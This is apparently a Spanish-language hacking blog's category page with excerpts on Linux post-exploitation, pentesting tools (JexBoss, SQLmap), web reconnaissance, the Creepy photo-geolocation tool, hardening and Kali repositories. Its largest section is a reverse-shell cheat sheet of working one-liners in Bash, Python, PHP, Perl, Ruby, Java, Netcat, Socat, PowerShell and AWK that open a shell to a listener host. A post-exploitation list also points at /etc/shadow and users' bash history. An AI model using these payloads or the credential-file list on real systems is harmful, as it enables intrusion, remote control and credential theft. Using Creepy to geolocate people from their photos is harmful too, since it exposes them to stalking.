Categoría: Hacking
Hacking
Linux Post Exploitation Cheat Sheet
Recolección de información
Comandos | DESCRIPCIÓN |
/etc/resolv.conf | Contiene los servidores DNS |
/etc/motd | Mensaje del dia |
/etc/issue | versión de la distribucuón |
/etc/passwd | Lista de usaurios |
/etc/shadow | Lista de hashes de usuario (requiere permisos de root) |
/home/USUARIO/.bash_history | Te muestra los comandos ejecutados por el usuario |
Reverse Shell Cheat Sheet
Listener:
nc -l -v -p 8080
Bash
exec 5<>/dev/tcp/192.168.1.109/8080;cat <&5 | while read line; do $line 2>&5 >&5; done
exec /bin/sh 0</dev/tcp/192.168.1.109/8080 1>&0 2>&0
0<&196;exec 196<>/dev/tcp/<IP>/<PORT>; sh <&196 >&196 2>&196
bash -i >& /dev/tcp/192.168.1.109/8080 0>&1
bash -i >& /dev/tcp/192.168.1.109//8080 0>&1
TCLsh
echo ‘set s [socket 192.168.1.109 8080];while 42 { puts -nonewline $s «shell>»;flush $s;gets $s c;set e «exec $c»;if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;’ | tclsh
Python
python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((«192.168.1.109»,8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([«/bin/sh»,»-i»]);’
PHP
php -r ‘$sock=fsockopen(«192.168.1.109»,8080);exec(«/bin/sh -i <&3 >&3 2>&3»);’
php -r ‘$sock=fsockopen(«192.168.1.109»,8080);exec(«/bin/sh -i <&3 >&3 2>&3»);’
php -r ‘$s=fsockopen(«192.168.1.109»,8080);shell_exec(«/bin/sh -i <&3 >&3 2>&3»);’
php -r ‘$s=fsockopen(«192.168.1.109»,8080);`/bin/sh -i <&3 >&3 2>&3`;’
php -r ‘$s=fsockopen(«192.168.1.109»,8080);system(«/bin/sh -i <&3 >&3 2>&3»);’
php -r ‘$s=fsockopen(«192.168.1.109»,8080);popen(«/bin/sh -i <&3 >&3 2>&3», «r»);’
Perl
perl -e ‘use Socket;$i=»192.168.1.109″;$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname(«tcp»));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,»>&S»);open(STDOUT,»>&S»);open(STDERR,»>&S»);exec(«/bin/sh -i»);};’
perl -e ‘use Socket;$i=»192.168.1.109″;$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname(«tcp»));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,»>&S»);open(STDOUT,»>&S»);open(STDERR,»>&S»);exec(«/bin/sh -i»);};’
perl -MIO -e ‘$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,”192.168.1.109:8080″);STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;’
Ruby
ruby -rsocket -e’f=TCPSocket.open(«192.168.1.109»,8080).to_i;exec sprintf(«/bin/sh -i <&%d >&%d 2>&%d»,f,f,f)’
ruby -rsocket -e’f=TCPSocket.open(«192.168.1.109»,8080).to_i;exec sprintf(«/bin/sh -i <&%d >&%d 2>&%d»,f,f,f)’
ruby -rsocket -e ‘exit if fork;c=TCPSocket.new(«192.168.1.109″,»8080″);while(cmd=c.gets);IO.popen(cmd,»r»){|io|c.print io.read}end’
Java
r = Runtime.getRuntime()
p = r.exec([«/bin/bash»,»-c»,»exec 5<>/dev/tcp/192.168.1.109/8080;cat <&5 | while read line; do \$line 2>&5 >&5; done»] as String[])
p.waitFor()
Telnel:
rm -f /tmp/p; mknod /tmp/p p && telnet 192.168.1.109 8080 0/tmp/p
rm -f x; mknod x p && telnet 192.168.1.109 8080> 0<x | /bin/bash 1>x
rm f;mkfifo f;cat f|/bin/sh -i 2>&1|telnet 192.168.1.109 8080 > f
telnet 192.168.1.109 8080 | /bin/bash | telnet 192.168.1.109
Netcat
nc -e /bin/sh 192.168.1.109 8080
/bin/sh | nc 192.168.1.109 8080
rm -f /tmp/p; mknod /tmp/p p && nc 192.168.1.109 8080 0/tmp/p
Socat
socat tcp-connect:192.138.1.109:8080 exec:»bash -li»,pty,stderr,setsid,sigint,sane
Powershell
powershell.exe -w hidden -c ‘$client = New-Object System.Net.Sockets.TCPClient(«192.168.1.109»,8080);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + «PS » + (pwd).Path + «> «;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()’
AWK
awk ‘BEGIN {s = «/inet/tcp/0/192.168.1.109/8080»; while(42) { do{ printf «shell>» |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != «exit») close(s); }}’ /dev/null
Auditando y explotando vulnerabilidades con JexBoss
JexBoss es una herramienta escrita en python que nos sirve para auditar y explotar vulnerabilidades en JBoss Application Server y otras plataformas Java, Frameworks, Aplicaciones, etc.
Vectores de explotación:
- /admin-console
- tested and working in JBoss versions 5 and 6
- /jmx-console
- tested and working in JBoss versions 4, 5 and 6
- /web-console/Invoker
- tested and working in JBoss versions 4, 5 and 6
- /invoker/JMXInvokerServlet
- tested and working in JBoss versions 4, 5 and 6
- Application Deserialization
- tested and working against multiple java applications, platforms, etc, via HTTP POST Parameters
- Servlet Deserialization
- tested and working against multiple java applications, platforms, etc, via servlets that process serialized objets (e.g. when you see an «Invoker» in a link)
- Apache Struts2 CVE-2017-5638
- tested in Apache Struts 2 applications
- Others
Pentesting web – Googling
El alcance de esta actividad es la recogida de información acerca de un sitio web publicado en Internet, o encontrar un tipo específico de aplicación, como Webmin o VNC. Hay herramientas disponibles que pueden ayudar con esta técnica, como por ejemplo googlegath, pero también es posible realizar esta operación manualmente usando las opciones de búsqueda de la web de Google. Esta operación no requiere de conocimientos técnicos especializados, y es un sistema muy bueno para recopilar información sobre una web objetivo
Pentesting – Pruebas básicas de reconocimiento web (fingerprinting/footprinting)
Footprinting
El termino footprinting hace referencia a la técnica de descubrir y recoger la mayor cantidad de información posible con respecto a una red de destino, bien porque haya sido publicada a propósito o por desconocimiento. El objetivo es extraer información relativa de la organización que incluye, pero no se limita a:
- Rangos de direcciones IP
- Información del registrador del dominio
- Servidores internos
- Cuentas de correo de los usuarios
- Nombres de las maquinas
- Tipo de firewall implementado
- Tipos de acceso remoto utilizados (SSH o VPN)
- Archivos (doc, xls, ppt, pdf, txt, etc)
- Metadatos, etc
Aprendiendo a utilizar SQLmap
¿Que es SQLmap?
SQLmap es una de las herramienta más conocidas para hacer ataques SQLi (SQL Injection) escrita en Python. SQLmap se encarga de realizar peticiones a los parámetros de una URL que se le indiquen, ya sea mediante una petición GET, POST, en las cookies, etc. Es capaz de explotar todo tipo de SQLi como union-base, time-base-blind, base-blind-injection, heavy-queries, etc.
Brevemente os indicare comandos los cuales utilizareis mas cuando lleveis a cabo un pentesting con SQLmap.
Geolocalización con Creepy
Creepy es un programa multiplataforma que nos permitía geolocalizar personas a partir de sus imágenes publicadas en Twitter, Flickr e Instagram
Instalamos dependencias
apt-get install python-qt4 python-pip
Instalamos las librerías necesarias de python
pip install tweepy yapsy configobj python-instagram flickrapi
Descargamos el software
git clone https://github.com/ilektrojohn/creepy
Accedemos a la carpeta
cd creepy/creepy/
Ejecutamos el software
python CreepyMain.py
Hardening básico en GNU/Linux
Hardening (palabra en ingles que significa endurecimiento) en seguridad informática es el proceso de asegurar un sistema mediante la reducción de vulnerabilidades en el mismo, esto se logra eliminando software, servicios, usuarios, etc. Innecesarios en el sistema así como cerrando puertos que tampoco estén en uso además de muchas otros métodos y técnicas que veremos durante este pequeño resumen introductorio al Hardening de sistemas.
Haciéndole la vida difícil al atacante. Ese es el resumen de la razón de ser del Hardening de sistemas operativos, que se podría decir que es un conjunto de actividades que son llevadas a cabo por el administrador de un sistema operativo para reforzar al máximo posible la seguridad de su equipo. Su propósito, entorpecer la labor del atacante y ganar tiempo para poder minimizar las consecuencias de un inminente incidente de seguridad e incluso, en algunos casos, evitar que éste se concrete en su totalidad.
Añadir repositorios de Kali Linux en Debian squeeze
Como ya sabemos los creadores de BackTrack Linux han reprogramado una nueva versión basada el Debian. Pues vamos aprobecharlo para añadir los repositorios a nuestra distribución Debian squeeze
Agregamos lo repositorios en el source
vi /etc/apt/source.list
#Kali Linux
deb http://http.kali.org/kali kali main contrib non-free
deb-src http://http.kali.org/kali kali main contrib non-free
Actualizamos los paquetes
rokitoh@redorbita:/ # apt-get update
No soltara el siguiente error porque le hace falta la KEY
W: Error de GPG: http://http.kali.org kali Release: Las firmas siguientes no se pudieron verificar porque su llave pública no está disponible: NO_PUBKEY ED444FF07D8D0BF6
Añadimos el KEY
rokitoh@redorbita:/ # gpg –keyserver subkeys.pgp.net –recv-keys ED444FF07D8D0BF6
rokitoh@redorbita:/ # gpg –export –armor ED444FF07D8D0BF6 | apt-key add –OK
Un saludo,
:wq!